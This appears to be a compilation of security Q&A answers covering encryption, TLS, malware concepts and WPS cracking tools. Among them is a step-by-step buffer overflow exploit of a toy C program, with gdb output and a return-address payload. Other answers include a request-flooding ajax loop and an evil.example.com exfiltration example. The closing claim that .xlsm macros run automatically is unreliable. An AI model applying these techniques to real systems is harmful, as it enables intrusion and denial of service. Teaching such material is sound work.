I'm assuming based on recentness of Fedora 28 that it looks somewhat like RHEL 7, in which case you'll want to check the ExecStart line of /usr/lib/systemd/system/rescue.service.  The link above suggests it should look like this:

ExecStart=-/bin/sh -c "/usr/sbin/sulogin; /usr/bin/systemctl --fail --no-block default"

If you don't see sulogin in that line, that's your problem.

Please note that in most cases requiring a boot time password is meaningless unless you're also performing disk encryption, and that disk encryption should have a separate prompt for its password before you even get to this point.  So this setting may be redundant, depending on your system configuration, which is the sort of nuance an audit tool might miss.

As for the rkhunter issue, do you have unhide installed?  This link suggests that if it is missing, that would explain why hidden process checking is skipped.


Encrypting only a small part of my hard-drive

Method 1:

Right-click on the folder you want to encrypt and go to Properties

On the General tab, click the Advanced button

Under Compress and encrypt attributes section, click on Encrypt content to secure data encrypt files windows 10

Click OK and close Properties window

Apply changes to the folder, subfolders, and files when prompted
That’s that, your folder is now encrypted and its text is shown in green color.

Source.
Method 2:
Use a tool to do it like Gilisoft File Lock Pro for example


Can HTTPS-Everywhere Prevent An SSL-Stripping Attack?

Yes. If HTTPS-Everywhere is set to block all unencrypted requests, your browser will never establish a plain HTTP connection without TLS, no matter what.

How the rest of the networks looks, and where on it the attacker is is irrelevant here. The man in the middle may be a malicious Tor exit node, a hacked router, your ISP, but they will still not be able to downgrade anything to HTTP since your browser will not accept such a connection.


Finding artifacts using bulk_extractor in different methods

This answer describes each of the methods that you list. They are different and not commensurable.
Random Sampling
This approach picks a set of random sectors, sorts them, and analyzes them in order. (They are sorted because it's faster to seek randomly chosen sectors in sort order than in random order if you have a mechanical drive.) This is useful for analyzing 1TB of data in 10 minutes, as discussed by Simson Garfinkel in this 2012 video presentation.
Stop List
A stop list is a list of words that should be ignored. For example, there are many email addresses in the Linux kernel: you should probably ignore them. However, you probably want to use a context-aware stop list (which bulk_extractor supports) so that you only ignore the Linux developer's email addresses when they appear in the Kernel, and not when they appear elsewhere (such as in an email message).
Altert List
Sometimes you are working on a case and you want to know immediate if you target's email address is found. You can add that target's email address to the alert list, and you will be alerted.
Search Text
This is text that you might be search for.
Your question asks: "which method is most efficient." This question doesn't make sense, because the methods implement different functionality and you didn't define what you mean by "efficient."
Your second question asks: "How can I reproduce such test scenario and get results." It is not clear what this question means.


How does a polymorphic virus identify whether it's already infected a file?

All viruses are different, and operate in various ways. There is no one blanket solution in which a virus detects whether it has infected a file or device yet. If this were the case, it would make the job of the anti-virus quite easy wouldn't it? So as such, there are several different solutions to your question.
A quick note on terminology: Malware is defined as any type of malicious software. A virus is defined as a type of malware which replicates itself by modifying other computer programs and inserting its own code (as per Wikipedia). So a virus is a subclass of malware. There are also several different types of viruses: file resident viruses, memory resident viruses, boot sector viruses, and macro viruses.
Since you asked specifically about viruses that infect files, we will only look at file resident viruses.
File Resident Viruses
These will be looking to install itself into executable files, or programs. This is because other files, like text documents or photos, aren't interpreted as code by the machine, and the virus payload needs to be interpreted as instructions. When a virus infects an executable and writes to the binary, it will either overwrite the preexisting code, tack its code on the end, place its code at the beginning, or install its code into 'cavities' (empty spaces in the binary that are filled with NULL characters, or NOOPs).
Once a file is infected, the virus needs to somehow later recognize it. Some viruses are coded to be dumb, and will just reinfect the file. This could mean either the virus code is overwritten by the same virus code (or a slightly altered version) leading to no real change, or the file just keeps getting bigger because the virus keeps tacking onto the existing executable. The smarter versions of viruses will implement methods to recognize their spawn.
One way a virus can tell if an executable has been infected is via tagging. When writing it's code into a binary, the virus will place a value in a specific spot. Every time a virus attempts to infect an executable, it checks that spot for the value. If it's there, it doesn't infect.
A simple example: a virus might modify the first byte of a program to read 0xFF. If it sees 0xFF as the first byte of a file (even if that file isn't infected and just happens to have it's first byte as 0xFF) it won't infect it.
A more complex example: The virus uses an algorithm similar to how a hash works. It takes in the file name and generates a byte value and placement for that value, then writes that byte to that placement. Since it uses a hashing style algorithm, the same byte and placement will be generated given the same file name, so it wouldn't change. This makes it harder to identify an infection.
Another interesting idea would be that the virus creates a special data file hidden on the machine, which lists the executables it has infected. The file location could be static or generated. If the file isn't found, the virus would assume the system hasn't been infected at all yet.
Really any system you can think of could be a possible way that a piece of malware identifies it's infected spawn. There's no rules revolving around this sort of thing, all that matters is if it works. Some methods will end up being better than others though, depending on what the attacker is trying to achieve.
Polymorphic vs Metamorphic viruses
I won't go into lengthy details on the difference between the two, but it's important to know that a Metamorphic virus rewrites it's own code to avoid detection, where as a Polymorphic virus encrypts or encodes itself to make it appear different. In other words, with Polymorphic viruses, not all of the code changes. Some of the code (namely the decryption algorithm) stays the same with each iteration. In this sense, the fingerprint only partially changes, and the virus could search for the static portions of it's code that don't change, to recognize an infected executable.
Also, a Polymorphic virus only has a finite number of permutations. If this number is reasonably small, it could store the keys to all other possible permutations inside of the encrypted portion of its code. That way, it can decrypt all infections and recognize itself. This probably isn't the best option, since if one virus is decrypted by researchers, all permutations will be uncovered, but it's definitely a solution.
As for Metamorphic Viruses, it's even more complex, but they would be stuck using some sort of tagging system like previously defined. In these cases, it might even turn out that two different metamorphic strains of the same virus don't recognize each other, and install themselves over the other, leading to a war between the two strains (lol). But this could be said for any virus which holds a bug in the identification portion of it's code.


How can Facial Recognition surveilance be misused by police?

There are several comments on here regarding false positives (which are a valid concern) and the question rules out a rouge officer mis-using the technology for personal reasons, but even if the technology is perfect there are other avenues of abuse.

Perfect facial recognition for example could be used to identify participants of political rallies and used as means to target them later when they are isolated in order to suppress views people in power don't like.

It may be that you trust the authorities in your country not to abuse the system like this, but what about when the next government or the one that's in power in 10 years time orders the police to behave in this way? Once the genie is out the bottle it's difficult to put it back in.


Why doesn't the same origin policy block get requests that contain arguments?

I don't see a reason to allow query strings to be passed cross domain. Is there a legit reason why most browsers allow this?

There is nothing special about query strings. You could just as well exfiltrate the information in a path part, evil.example.com/PresidentSkroob/12345... or even the domain name. eg imagine setting the address to PresidentSkroob.12345.evil.example.com; if you run the DNS for evil.example.com you can easily log the lookups.

As per XMLHttpRequest level 2, browsers allow cross-origin GETs to be sent without preflighting, but don't allow the results to be read from the response unless the remote domain opts in. There is no additional vulnerability here because you can already cause a GET to an arbitrary URL to be sent (including query string, for what it's worth) through multiple more basic interfaces.

For example you have always been able to create an <img> element with its src set to an address on a remote domain; taking away that cross-domain ability would break a lot of the existing web.


The reality is they don't work effectively. They test stress and emotional response to stress, which can be an indicator. So you are correct, they can be 'beaten' if the person is stressed by other reasons (such as 'I am being questioned on a lie detector' can be scary enough...) or if someone is a sociopath and has no real response emotionally anyway.

LegalMatch.com has a bit of info on the subject:

"In past times they were often used by police and government agents to interrogate suspected criminals, but as they have been proven to be extremely unreliable indicators of lying..."

http://www.legalmatch.com/law-library/article/admissability-of-polygraph-tests-in-court.html


What is the use of different types of shellcode?

The tldr version is:

Shellcode is just a series of commands that return a command shell. It's highly dependent on what you're attacking.

Longer explanation:

So shellcode is unique. It's like a fingerprint. What it is highly depends on what you're attempting to shell. Many factors come into play. OS Version, application type, application version, supported languages, certain chars you might need to not use because the application won't accept them, etc etc etc

For example, if you're attempting to exploit a website, shell code might be php that you've injected. Whereas, if you are exploiting a vulnerable windows service, your shellcode might be bytecode.

It all depends on what you're attempting to do.

From Wikipedia - Shellcode

  In hacking, a shellcode is a small piece of code used as the payload
  in the exploitation of a software vulnerability. It is called
  "shellcode" because it typically starts a command shell from which the
  attacker can control the compromised machine, but any piece of code
  that performs a similar task can be called shellcode. Because the
  function of a payload is not limited to merely spawning a shell, some
  have suggested that the name shellcode is insufficient.2 However,
  attempts at replacing the term have not gained wide acceptance.
  Shellcode is commonly written in machine code.

Further reading:

I'd recommend you check out what msfvenom is and all its features. It might clear up a little what these payloads are and what they do.

What is MSFVenom?


What are the risks of sending sensitive documents that are on physical media and password protected via postal carrier using registered mail?

There are always risk, the ones you are asking about have more to do with physical access and physical loss of the media. As many others have mentioned encryption is going to play a big part in helping with your solution.

I'd recommend taking a step back and looking at the specific risks that concern your business and this data in particular then creating security controls & countermeasures to handle each specific risk.

Some businesses may not care if a copy of the data sent is stolen as long as at least one copy arrives within a reasonable time. This is more of an Availability issue.

Some business are ok if any given copy of the data sent never arrives as long as that data cannot be read by anyone outside of their organization. This is more of a Confidentiality issue.

Other businesses are very concerned about the data and transport media they are using being tampered with or modified in some way. This is more of an Integrity issue.

For any given business shipping data for a given project the Confidentiality, Integrity, and Availability needs are all going to be a little different. My point here is that you need to address each of these components of the risk separately.

There are additional variables to each of the following but in general you would be wise to address the following separately:

For confidentiality encryption is going to be the no-brainer. You will want to use very strong encryption and enforce very strict key management.

For availability you may want to ship identical packages via multiple carriers. This is a cost issue more than anything and in most, but not all, countries this one might be easier to solve.

For integrity you may want to consider how you contain the data in transit to prevent tampering. Part of this has to do with which media you use, specifically the size component. This may also affect shipping costs but you can leverage a wide array of physical security mechanisms and anti-tamper mechanisms to prevent tampering. Whether this is the super-cheap "glitter nail-polish" to seal a box method or you end up shipping a small bomb-proof, fire-proof, water-proof safe containing custom-built evidence bags with your signature all over it and cover that with custom hologram seal tape and maybe work 5 other unique things into the packaging (you get the idea).

Now that you've looked at these components separately you can look at the situation again and weigh the value of the data, the costs of potential solutions, and figure out what is the best solution based on your needs.

Do go for maximizing low-cost solutions but avoid low-quality ones. Strong-encryption is a HUGE win. Tamper-proof evidence bags are cheap and if availability is an issue find the cheapest way to ship things. The more cost-efficient your security solution is the longer it will last. Likewise this free's up your budget for other security tasks.

Task specific to your question that I would recommend. Figure out how to make strong encryption super easy for the people using it. Don't just trust the .zip file passwords. Find software where it's a "right-click" or "command-click" and it's encrypted level of ease. Likewise force the people receiving packages to notify you if anything ever arrives which is not encrypted. It may even be worth having the people who encrypt it not be the people who check that it's encrypted and ship it (separation of duties). Again it's really important to keep everything simple and easy if you want your users to do the right thing.


Why Skype discloses my IP address to anybody?

I believe they already have if this article is correct:
http://community.skype.com/t5/Security-Privacy-Trust-and/How-to-protect-your-IP-from-skype-resolvers/td-p/3874291

Skype uses peer-to-peer instead of traditional client/server connections to make the calls happen though. Since there's no sole middleman the data needs to know where it's going between each peer through an ip address. A traditional server can have both users connected and control the flow of information so that the IP isn't exposed to either user.

I am curious what this fix does to circumvent needing the destination IP address. Someone else could probably clarify better.


reaver - [!] WARNING: Failed to associate with xx:xx:xx:xx:xx:xx (ESSID: (null))

To associate to an AP with reaver you must have a good signal. That's the first important point. And sometimes depending of your Chipset could not be possible. For example, if you have (like me) an Alfa Networks usb device with chipset Ralink RT3070 you can't use reaver. Simply is not compatible. Ralink chipsets doesn't work with reaver. For that chipset you must use bully which is a "cousin of reaver" :D

What I want to say is that there are a lot of factors... and one very important is the chipset. The tight solution is to handle both softwares "reaver" and "bully" and test everything with both.

As a personal suggestion, I can recommend to you to use a very easy to use bash script which automatize all of these tasks called airgeddon. The script can do a lot of things more... but it has a WPS menu for testing all of this using reaver and bully. Give it a try.


When resetting a password using OTPs, how can I prevent users from bypassing the OTP input page?

Your 'update password' page should contain three fields: old password, new password and repeat new password. When visited through 'forgot password' link it should contain OTP input field instead of old password input field. You probably should not split this via redirect or something if you can help it.


Are VPNs useless if end point countries have data retention laws

Yes, it is often fairly straight-forwards to correlate the requests if someone considers it important enough. Rather depends on what you are doing though.

If you wanted to make it harder, you should use the most commonly used VPN service possible (helps hide traffic in the noise) and connect via ToR. Of course, that would probably be totally unusable if you wanted to watch the latest episode of East Enders on the BBC ;-)

Even then, that wouldn't be safe if someone suspected that it was you connected to something because then they could still track the origin (you) and the end-point. There have been a number of high-profile take-downs using this method.


Would an encryption scheme that generates an extra key to be securely stored offsite be a safe backdoor?

In addition to the points mentioned by Lucas Kauffman I would elaborate on point two:

  2.This algorithm generates one extra unique decryption key when used. This key is then sent via a secure channel (i.e. HTTPS or equivalent) to an NGO with the sole duty of guarding these keys. As soon as the tool gets confirmation that it is delivered, the tool securely deletes this key.

What would stop someone from implementing the algorithm but omitting the part where the second key gets sent to the NGO? Such an implementation would still output the normal key, making it completely compatible with other users of the cryptosystem.

The only way to do this would be to make the algorithm closed source and safeguard its implementation from reverse engineering through intense obfuscation. But nobody in the security community who isn't completely out of their mind would ever trust an algorithm which isn't open to public peer review.

Also keep in mind that the people law enforcement wants to find are those who are already breaking the law. Criminals would have no qualms to encrypt their information with any of the other cryptosystems which are currently available, even when doing so is declared illegal. Unless, of course, the punishment for using non-government-approved encryption software is just as harsh as the punishment for terrorism, murder or abuse of a minor, but that would be hard to justify IMO.

That means you would create an expensive key escrow infrastructure and put a legal shackle on millions of citizens and companies regarding the software they are allowed to use without affecting any of the people you actually want to affect.


What does the private key look like for an HSM based certificate?

At a theoretical level this is possible because the public key and private key of a key pair are mathematically linked. This means that it is possible to query a key storage provider if it contains the private key of a given certificate.
In Windows, yes, it is the Cryptographic Service Provider (CSP) that handles this. The HSM vendor has provided software that integrates with the Windows Cryptography API. Some details about the architecture can be found in this MSDN article: Key Storage and Retrieval

You don't need to delve into deep details of Windows crypto architecture to write software. Microsoft provides APIs that expose this functionality to application developers. If you are using the .NET framework you can look into the the System.Security.Cryptography and System.Security.Cryptography.X509Certificates namespaces.


What's so hard about making a PHP login system?

You forgot at least:

Hashes (+ Salts, enough rounds, ...)
Password reset functionality
HTTPS (ok, not really a problem of PHP code)
Always changing the session ID on login and logout

and depending on the use case things like

2factor auth
Single login for multiple sites
...

Also see eg. https://www.owasp.org/index.php/Authentication_Cheat_Sheet

But yes, it doesn't have to be hard.

Are you wondering why there still are errors found, in (relatively) simple logins of some websites? Well, because even "simple" logins are too much for the vast majority of people. And even if we only consider people who can program enough to be able to do it, there are still enough just too lazy to properly do it because they can't be convinced that leaving part X out will be a problem. Or they know, but don't want to think about it because it's easier to be lazy.


What are some good website security scanning solutions?

Unfortunately there are no automated scanners to detect all the types of vulnerabilities in modern web applications (I often hear less than 50%).

Relying only on automated solutions is fraught with shortcomings.  Automated scanners can expose the easy stuff, but you need human intelligence to explore and reveal additional vulnerabilities.

With that said, you can refer to this question (and answers) to view a list of popular automated web application vulnerability assessment tools.


Can you create a bunch of Iframes that each have a src of www.myapp.com/test/5? or a programmatically create a bunch of

Those iframes might end up being a ddos of the browser instead of the server but the img ones might work.

then there is ajax which you should be able to simply call in an endless loop and send requests from JavaScript to myapp.com/test/5

This is from a jsfiddle (source) that calls a URL 5 times (what if it called it 50000 times?):

var counter = 0;

window.getData=function()
{
    $.ajax({
        url:'http://whisperingforest.org/js/getQuote.php',
        async: true,
        dataType: 'jsonp',
        success:function(data){
            $('.quoteList').append('
' + data +'
');
            counter++;
            if (counter < 5) getData();
        }
    });
}


You have to check the addresses of the char arrays, because your assumption that yy starts right after xx in memory is not necessarily true. I modified your code a bit so that it prints the addresses:

#include <iostream>

int main() {

    char xx[20];
    char yy[20];

    std::cin >> yy;

    std::cout << "xx: " << xx << std::endl;
    std::cout << "yy: " << yy << std::endl;
    std::cout <<std::endl;
    std::cout <<std::endl;
    std::cout << "Addresses: " <<std::endl;
    std::cout << "Address of xx: " << &xx << std::endl;
    std::cout << "Address of yy: " << &yy << std::endl;

    return 0;

}

In the output you can see that in my case yy actually came before xx in memory. The addresses show that they are 32 bytes apart. So by typing 33 chars into yy I was able to overwrite the first byte of xx. As you can see in this output below:

012345678901234567890123456789012
xx: 2
yy: 012345678901234567890123456789012

Addresses:
Address of xx: 0x7fff31b68b50
Address of yy: 0x7fff31b68b30

Please also note that this may be completely different on your machine.


How to decide software flow / business process is secure enough

Basically you need to perform a Risk Assessment, and the company needs to define their limits.

Risk assessment

Is performed to identify risk to a company. In Information Security these risks come in the forms of breechs/ social engineering /etc. Risk has a defined description which is

Risk = Potential Loss X Probability that something will happen

Risk assessment use two form of was to apply value to an assessment.

Quantitative

Quantitative is an assessment of value which typically numeric value to it. You could for instance measure the numeric value of your incoming data lines and compare it to the losses your company would suffer (in terms of dollars) if those line we're to go down

Qualitative

Qualitative is an assessment of value which can't be typically measured in numeric forms. For example, how easy would it be for an attacker to Social Engineer his way into change account information.

As some words of advice, if you have never done a risk assessment before, I would highly recommend you hire a company to do a small assessment with you. There is a lot that can go into these and while the internet has great resources on what it is and what you are trying to accomplish with it. It's kind of all over the map on executing one. Learn how someone else does it, see what goes into it, and than take that knowledge and improve upon it.


Are 3rd party CAPTCHA techniques vulnerable to MITM attacks?

The solution is to never trust clients to execute code. If everything is done server-side, there is no possibility of a MITM attack, since you can just cryptographically sign the token that says "Yes, User X did complete the CAPTCHA at this time". As soon as you add in authentication, MITM becomes incredibly difficult.
You can substitute your own JS, but the website you are trying to spam won't let you finish the signup process because it expects a signed token from the CAPTCHA server. Without access to the private key, a client cannot create these tokens.


OpenSSH is unaffected by FREAK for several reasons:

It only uses a small, carefully-audited portion of the OpenSSL library.  The SSL cipher-negotiation code is not one of the parts it uses.
The SSH protocol is resistant to "downgrade" attacks: the size of the server key is fixed at the time of key generation and the key fingerprint is stored by the client.  If an MITM tried to trick the server into using a weak key (which requires the server to be set up with multiple keys), the key fingerprint would change and the client would refuse to proceed.
OpenSSH does not, and to the best of my knowledge, has never supported "export-grade" encryption.  The weakest RSA key that ssh-keygen will produce is 768 bits, and the default is 2048 bits.  The symmetric ciphers are also quite strong: the weakest supported by the current version of OpenSSH is 3des, which at 112 bits of effective security is a fair bit stronger than the 40 bits permitted by the old export laws.


What action can I take to protect against TROJAN Self-Signed Cert

Assuming your 'connected devices' are computers, you need to verify that you do not have any suspicious certificates in your trusted certificate store.

Of course, every other reaction to a trojan should be performed.

To review your certificate trust store:

In Windows - You can use a tool called RCC from here to scan them automatically, or review them manually like this.
In Linux - See this ServerFault Question. I am not aware of a more readable way of reviewing certificates in Linux, but do try to find one if your computer is a Linux machine.


As you guessed, Facebook uses HTTPS, what that means is that requests to Facebook.com regardless of whether they are GET or POST requests are not sent over HTTP, instead they are sent over HTTPS in an encrypted form which the 'http' filter in Wireshark wont be able to display as regular HTTP requests. If you want to view the encrypted HTTPS traffic including data to Facebook, select 'tcp' as the filter and you should find requests that you are looking for.
Facebook uses HTTPS for transmission for security reasons, as you suspected, so actually Facebook is receiving data, just your filter is not displaying it to you.

Read More about HTTPS at:
http://en.wikipedia.org/wiki/HTTPS

For interception of Requests to Facebook.com use a proxy such as Burp Suite or OWASP ZAP. They will allow you to intercept and modify/monitor the traffic sent in real-time.

Hope this helps.


I don't know about mcrypt itself, but I would not recommend using it.  First off, I've never heard of it and don't know if it has been well-vetted.  Second, DES does not have as much security as one would want, and should be avoided where possible.

Recommendation: I recommend you use GPG (GnuPG), PGP, or OpenPGP.  These are well-vetted systems that have been carefully evaluated by cryptographers and are widely respected and trusted.


One certificate equals one key. If multiple person are tied to the same key, you cannot:

Change the key for a single of these person
Give attribution to actions, a.k.a. properly authenticate an individual.

No there is no way around this. Either the certificate is invalidated, or it's still valid. There's is no middle ground.

If you want to avoid the trouble, issue one certificate per individual.


Encryption and Decryption in stateless manner

You want your server to be able to decrypt the data, and nobody else. Therefore, your server must "know" something that other people do not, and that "something" is what cryptographers call a key.

However, there is no need for that key to be specific to the user. It can be a server-wide key. With symmetric encryption, the key to encrypt and the key to decrypt are the same; this will work for you if your server is also the system which does the encryption (since cookie values are set by the server, I suppose that this is your situation).

Some notes:

You want integrity too. In your system, the user is a potential attacker. The cookie is on his machine, so he could try to alter it. Encryption will prevent him from knowing the contents, but he may still make some "guesses" and alter it. Encryption does not ensure integrity by itself.
Combining encryption and integrity is not as easy as it seems. See this question for theory and pointers on the subject.
The server-wide key is sensitive information; manage it sensibly. In particular, you don't want to push it to all your backups (because lost/stolen backup tapes or disks are a classic leak mechanism), but you don't want to lose it either.


What is a reasonable timeframe that should be defined and enforced for access token expiry to reduce the risk of unauthorised access?

Totally depends on the service you're providing, if it's something to consult data you might make it 5~15mins and if it's something like authorizations, transactions quick stuff, it might be reduced from 5~2mins
Usually financial institutions require a max lifespan of sessions and such and it goes below 15minutes or something like that.
Some context of what you're trying to secure might give more insight at answering this question


What are possible methods for calculating password entropy?

The proper way to calculate password entropy is to look at the password generation method, evaluate how much entropy is involved in the password generation method, and then evaluate how much of that input entropy is preserved by the encoding method. As an example, throwing a fair 6-sided dice once generates approximately 2.5-bits of entropy (note that it's an open question whether or not real-life dice is truly fair).

Password strength meters are not entropy calculator, they estimate the maximum amount of possible entropy contained in a string by doing statistical analysis on the password, based on commonly used password generation and cracking methods. In all cases, entropy estimator can be off by quite a large amount. While entropy estimator can be good to detect obviously weak password, it is not a good way to determine whether or not a password is good.

A random looking string can contain little entropy, for instance the SHA1 of one ASCII letter only contain 7-bits entropy; but most password meters would think it is a solid password.


How to do string buffter overflow with scanf function?

In most implementations, the char data type is equivalent to a byte.  Meaning a string is just a series of arbitrary bytes, and vice versa.  Those bytes do not have to be human-readable.  I'll demonstrate on my system, with a slight modification to the source to make things a little clearer in the disassembly:
#include <stdio.h>
#include <string.h>

void accept_password()
{
  printf("\nPassword accepted\n");
}

void deny_password()
{
  printf("\nPassword denied\n");
}

void main()
{
  char ch[10];
  scanf("%s", ch);
  // Note that strcmp() returns 0 when a match is found,
  // so your original code was backwards
  if(strcmp("12345", ch) == 0)
  {
    accept_password();
  }
  else
  {
    deny_password();
  }
}

You will find your exercises slightly easier if you compile with -fno-omit-frame-pointer.  It is frequent to see this option enabled in production code though, so don't come to rely too much on the advantages it provides.
00000000000011bb <main>:
    11bb:   55                      push   %rbp
    11bc:   48 89 e5                mov    %rsp,%rbp
    11bf:   48 83 ec 20             sub    $0x20,%rsp
    11c3:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    11ca:   00 00
    11cc:   48 89 45 f8             mov    %rax,-0x8(%rbp)
    11d0:   31 c0                   xor    %eax,%eax
    11d2:   48 8d 45 ee             lea    -0x12(%rbp),%rax
    11d6:   48 89 c6                mov    %rax,%rsi
    11d9:   48 8d 3d 48 0e 00 00    lea    0xe48(%rip),%rdi        # 2028 <_IO_stdin_used+0x28>
    11e0:   b8 00 00 00 00          mov    $0x0,%eax
    11e5:   e8 76 fe ff ff          callq  1060 <__isoc99_scanf@plt>
    11ea:   48 8d 45 ee             lea    -0x12(%rbp),%rax
    11ee:   48 89 c6                mov    %rax,%rsi
    11f1:   48 8d 3d 33 0e 00 00    lea    0xe33(%rip),%rdi        # 202b <_IO_stdin_used+0x2b>
    11f8:   e8 53 fe ff ff          callq  1050 <strcmp@plt>
    11fd:   85 c0                   test   %eax,%eax
    11ff:   75 0c                   jne    120d <main+0x52>
    1201:   b8 00 00 00 00          mov    $0x0,%eax
    1206:   e8 8a ff ff ff          callq  1195 <accept_password>
    120b:   eb 0a                   jmp    1217 <main+0x5c>
    120d:   b8 00 00 00 00          mov    $0x0,%eax
    1212:   e8 91 ff ff ff          callq  11a8 <deny_password>
    1217:   90                      nop
    1218:   48 8b 45 f8             mov    -0x8(%rbp),%rax
    121c:   64 48 2b 04 25 28 00    sub    %fs:0x28,%rax
    1223:   00 00
    1225:   74 05                   je     122c <main+0x71>
    1227:   e8 14 fe ff ff          callq  1040 <__stack_chk_fail@plt>
    122c:   c9                      leaveq
    122d:   c3                      retq
    122e:   66 90                   xchg   %ax,%ax

Note the function call at offset 0x1227 (offset 0x11d9 in your code).  That is GCC's stack protector feature which will foil our exploit even if we manage to achieve it.  It's enabled by default in recent versions of GCC.  So make sure to compile with -fno-stack-protector and that will go away.
Let's type the string AAAAA as input to start.  Inspecting the memory at $rbp-0x10 looks like this:
(gdb) x/8xg $rbp-0x10
0x7fffffffd0e0: 0x41417fffffffd1e0  0x0000000000414141
0x7fffffffd0f0: 0x0000555555555200  0x00007ffff7e0ee3a
0x7fffffffd100: 0x00007fffffffd1e8  0x00000001ffffd7b9
0x7fffffffd110: 0x00005555555551ab  0x00007ffff7e0ec85

Inspect the stack frame:
(gdb) info frame
Stack level 0, frame at 0x7fffffffd100:
 rip = 0x5555555551cb in main (test.c:18); saved rip = 0x7ffff7e0ee3a
 source language c.
 Arglist at 0x7fffffffd0f0, args:
 Locals at 0x7fffffffd0f0, Previous frame's sp is 0x7fffffffd100
 Saved registers:
  rbp at 0x7fffffffd0f0, rip at 0x7fffffffd0f8

We want to target the saved rip with an address of 0x7ffff7e0ee3a which you can see is on the right-hand side of address 0x7fffffffd0f0.  Let's stuff a few more A's in there:
0x7fffffffd0e0: 0x41417fffffffd1e0  0x4141414141414141
0x7fffffffd0f0: 0x4141414141414141  0x00007ffff7e0ee00
0x7fffffffd100: 0x00007fffffffd1e8  0x00000001ffffd7b9
0x7fffffffd110: 0x00005555555551ab  0x00007ffff7e0ec85
0x7fffffffd120: 0x0000000000000000  0x67d5660bbfbf3d01
0x7fffffffd130: 0x0000555555555070  0x0000000000000000
0x7fffffffd140: 0x0000000000000000  0x0000000000000000
0x7fffffffd150: 0x3280335eb9bf3d01  0x32802360c0593d01

This is 16 A's of padding.  You'll have to figure out the exact number on your system yourself.  Next, take a look at the loaded assembly in gdb using layout asm.  Look for the call to accept_password, on my system the line is:
0x5555555551e7 <main+60>                call   0x555555555185 <accept_password>

This is the actual address it is loaded into memory at, rather than the raw offset you see with objdump.  That is the memory address we want to put into the next eight bytes.  However we can't type those bytes in with a keyboard as they are not valid ASCII characters.  So what we'll do instead is dump them into a file, then pipe the file in via redirection.  Note that you have to write out the bytes in reverse order, because x86 is a little-endian architecture!
echo -e "AAAAAAAAAAAAAAAAAA\x85\x51\x55\x55\x55\x55" > test.txt

Execute in gdb with:
r < test.txt

Now our memory space looks like this:
(gdb) x/16xg $rbp-0x10
0x7fffffffd0e0: 0x41417fffffffd1e0  0x4141414141414141
0x7fffffffd0f0: 0x4141414141414141  0x0000555555555185
0x7fffffffd100: 0x00007fffffffd1e8  0x00000001ffffd7b9
0x7fffffffd110: 0x00005555555551ab  0x00007ffff7e0ec85
0x7fffffffd120: 0x0000000000000000  0xaa3f47a296454268
0x7fffffffd130: 0x0000555555555070  0x0000000000000000
0x7fffffffd140: 0x0000000000000000  0x0000000000000000
0x7fffffffd150: 0xff6a12f790454268  0xff6a02c9e9a34268

and our stack frame looks like this:
(gdb) info frame
Stack level 0, frame at 0x7fffffffd100:
 rip = 0x5555555551cb in main (test.c:18); saved rip = 0x555555555185
 source language c.
 Arglist at 0x7fffffffd0f0, args:
 Locals at 0x7fffffffd0f0, Previous frame's sp is 0x7fffffffd100
 Saved registers:
  rbp at 0x7fffffffd0f0, rip at 0x7fffffffd0f8

Note how saved rip has been overwritten with the address of accept_password.  Now all we need to do is continue execution and our exploit is successful:
(gdb) r < test.txt
Starting program: test < test.txt

Password denied

Password accepted

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd1ea in ?? ()

(the exploit actually fires when main() returns).  You may be tempted to try this outside of gdb, but you will find that it does not work.  That is because of ASLR, which is turned on by default in most modern distros.  You will have to either turn that off (see here) or try creating a NOP sled to defeat it, but that's beyond the scope of this answer.  Hope this helps!


Pwned by a website I never subscribed to - How do they have my e-mail address?

Web scraping is indeed a possibility, as mentioned in this Wired article:

As Apollo noted in its letter to customers, it draws a lot of its information from public sources around the web, including names, email addresses, and company contact information. But it also scrapes Twitter and LinkedIn.


Padding is used to fill up plaintext to the blocklength of the cipher. This is not needed for counter mode, since it has no blocks and can encrypt any length.

There are different styles of padding, some are optimized to recognize changes or the actual length of the data. In case of the SSH sheme where a extra field specified the length no special pattern is needed, so random content provides the least information for attackers.

In SSH you can add padding longer than to the end of the block (I.e. To the next block or even more). This helps to make it harder for attackers to guess the actual plaintext length.

Especially for command/response sessions a lot can be learned if the cipher leaks the length. This is called traffic analysis and random padding length somewhat helps against it.


How would you test a new, individual SSL certificate (i.e., not a wildcard) is working properly?

One way to do it is to spoof your DNS request on the computer you are testing from.

Each web-browser asks for domain name resolution when trying to access prod.example.com. On Linux you can specifically match prod.example.com to your staging computer IP address in the /etc/hosts file. On Windows, you should look for the same file but in c:\Windows\System32\drivers\etc. When you have the right instruction in there, any call to prod.example.com will direct to the staging computer instead.

Now all you have to do is configure the web-server on the staging computer with a virtual host that matches prod.example.com with the SSL/TLS certificates directives and you should be able to test it properly.


Does setting up a DMZ for a home consumer "cloud" appliance make sense?

While this makes some sense, I wouldn't do it myself.

I presume you already have an internal home network with your laptops, desktops, tablets, internal NAS, etc. The normal way to setup at DMZ is that it's a separate network, with firewall rules that allow specific ports. So, if the MyCloud NAS uses port 443, you'd probably allow port 443 from the internet to the NAS, and also port 443 from the internal network to the NAS.

The benefit of this is that if the NAS is hacked then the hacker doesn't get access to your internal network. It doesn't help protect data on your NAS: if the NAS is hacked then the attacker will be able to get all the data; using a DMZ does not help you.

Three questions to ask yourself to help make a decision:

Is protecting your internal network an important benefit? On my home network I don't greatly mind untrusted devices being on the network. The laptops have a personal firewall - it's needed when I connect the laptops to untrusted hotspots. And the NAS and router are password protected. So, simply being on my internal network does not gain a hacker much. I prefer things this way, as visitors often ask for the WiFi password.

How likely is the NAS to be hacked? Many of these kinds of devices have had vulnerabilities, but if you apply security updates as they are released, and use strong passwords, then your risk is limited. If you have Windows laptops that you connect to the Internet, they are at higher risk.

How much will it cost to implement a DMZ? Most home routers do not have DMZ capability. If yours does and the port is currently unused, then it's cheap for you to implement the DMZ. But if you need to buy a new router, maybe it's not worth it.


Can a text file disguised as .xlsm be malicious?

.xlsm files are equivalent to .xlsx, except that macros are automatically enabled. Macros are very dangerous and equivalent to arbitrary code execution on your computer, and you should never accept them from the Internet—when you get a .xlsm file, you should rename it to .xlsx before opening, so as to neuter its macros.
